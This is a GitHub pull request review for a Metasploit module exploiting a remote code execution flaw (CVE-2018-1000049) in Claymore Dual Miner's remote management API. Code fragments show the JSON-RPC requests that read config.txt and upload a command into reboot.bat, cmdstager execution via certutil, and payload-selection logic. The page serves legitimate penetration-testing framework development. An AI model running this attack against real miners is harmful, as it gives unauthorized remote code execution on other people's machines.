New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add exploit: claymore_dual_miner_remote_manager_rce #10064
Add exploit: claymore_dual_miner_remote_manager_rce #10064
Conversation
end | ||
end | ||
|
||
def check |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Rather than wrap the entire method in a begin
statement, you can use the rescue-from-method approach.
The check
statements should only vprint_*
rather than print_*
.
A refactored method would look like:
def check
data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
when 'linux'
hex = tmp2.scan(/\w+/)[5]
when 'windows'
hex = tmp2.scan(/\w+/)[7]
end
if not hex
return CheckCode::Safe
end
str = hex_to_bin(hex)
if str.include?('WARNING')
return CheckCode::Vulnerable
else
return CheckCode::Detected
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection failed: #{e.message}")
return CheckCode::Unknown
ensure
disconnect
end
|
||
register_options( | ||
[ | ||
OptAddress.new('RHOST', [ true, 'Set miner host', '127.0.0.1' ]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
RHOST
does not need to be defined.
register_options [
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
]
buf = sock.get_once || '' | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
print_error(e) | ||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These exceptions are expected. Printing errors to the error log is usually reserved for unexpected exceptions. Usually something like his is sufficient:
print_error("Connection failed: #{e.message}")
buf = sock.get_once || '' | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
print_error(e) | ||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These exceptions are expected. Printing errors to the error log is usually reserved for unexpected exceptions. Usually something like his is sufficient:
print_error("Connection failed: #{e.message}")
when 'linux' | ||
execute_cmdstager | ||
when 'windows' | ||
execute_cmdstager(flavor: :certutil, linemax: 10000) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I assume certutil
is the most reliable stager flavor. Is it the only working stager?
It would be preferable to set a default stager flavor for the Windows
target and disable the unwanted flavors with deregister_options
.
@bcoles i've updated the PR with the requested changes! 💯 |
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') | ||
end | ||
|
||
def bin_to_hex(s) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So the Rex library already has a method for this. For example:
Rex::Text.to_hex("AAAA", '')
This will give you "41414141".
Another trick with Ruby is:
"AAAA".unpack("H*").first
:-)
s.each_byte.map { |b| b.to_s(16) }.join | ||
end | ||
|
||
def hex_to_bin(s) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This API is also available in Rex. You can do:
Rex::Text.hex_to_raw("41414141")
which returns: AAAA
@wchen-r7 thanks for the suggestions, PR updated. |
@wchen-r7 @bcoles should i proceed to write the documentation for the module? |
Yes, I can help you to write the docs. |
@reversebrain i've added you as a collaborator on my fork so you can update this PR. the documentation should be go here with the same name of the exploit: |
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000049'], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The nvd.dist.gov
URL can be removed. It is made redundant by providing the CVE
key.
Please add these instead:
['EDB', '44638'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'],
Ruby hashes convert to JSON fairly well. Instead of using JSON strings, you could use For example, this: upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}" Could become this: upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json |
tmp << buf | ||
tmp2 = tmp.string | ||
hex = '' | ||
case target['Platform'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be nice if the check
operated independently to the configured target
.
The default target is 0
(linux) which means a user could run the check
method against a remote vulnerable Windows host and receive a Detected
response. It might not be obvious to the operator that they can set target 1
to get a more accurate result.
Additionally, if you wanted, you could probably implement fully automatic exploitation using the discrepancy in response from the server to set the appropriate target.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@bcoles i've fixed the hardcoded strings, thanks. for the automatic check without setting the target i have an idea about how to do it, but for the exploitation i don't know how to get the right payload.. (at the moment i'm selecting the payload in the options). in case of a universal exploit
should i only use the payload generic/shell_reverse_tcp
or the is a way to retrieve the correct meterpreter payload? thanks.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's late here. I'll reply in more detail tomorrow. The short answer is no.
There's two main approaches.
One is to generate_payload_exe
and catch the exception when target.platform != payload.platform
.
The other approach is performing a string comparison on the target name and payload platform, and bailing if there's an inconsistency.
There's a few other modules you can look at. The modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb
module is a local exploit, so slightly different, but the principle is the same.
Here's the relevant code segment. This approach isn't ideal. There's probably a cleaner example somewhere in the framework.
# Set target
uname = cmd_exec 'uname'
vprint_status "Operating system is #{uname}"
if target.name.eql? 'Automatic'
case uname
when /SunOS/i
my_target = targets[1]
when /Linux/i
my_target = targets[2]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
# Check payload
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
end
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Another option - perhaps the best option - would be to make use of exploit_regenerate_payload
(aka regenerate_payload
). You may need to include the Msf::Exploit::EXE
mixin.
Something like this:
arch = target.arch
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms.first]
if (p = regenerate_payload(plat, arch)) == nil
print_error 'Failed to regenerate payload'
return
end
There are a bunch of examples in modules/exploits/multi/http/
. You can find the source for regenerate_payload
in lib/msf/core/exploit.rb
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i will have a look, thanks.
@bcoles: What's the status on this one? I was checking EDB and matched on this one. |
@wvu-r7 I would like to see the |
@bcoles can you review the changes? i've implemented an universal |
|
I gave this a once-over and it looks sane. A couple of observations. I'm curious whether Fun-fact: Ruby lets you format numbers in a more readable fashion. I'm also curious whether this works as intended: if tmp2.scan(/\w+/)[5]
return self.targets[1]
elsif tmp2.scan(/\w+/)[7]
return self.targets[2]
else
return nil
end Should the conditional branches not be the other way around? ie,
It depends what data you're expecting to receive from the server in words 5 and 7. Also, it's worth noting that both "false" as a string and "0" (zero) as a string will still cause All yours @wvu-r7 |
fixed.
i've put an arbitrarily high number because the vulnerability lets you issue just one command. (basically, you are only able to launch a fire-and-forget script)
|
01059f6
to
43d71cd
Compare
Silly truthy/falsey Ruby. |
@wvu-r7 let me know if i have to do other changes to the PR! |
Release NotesThe exploit/multi/misc/claymore_dual_miner_remote_manager_rce module has been added to the framework. It exploits Claymore Dual Miner's remote monitoring/management API. |
see #10063
Verification
List the steps needed to make sure this thing works
msfconsole
use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
exploit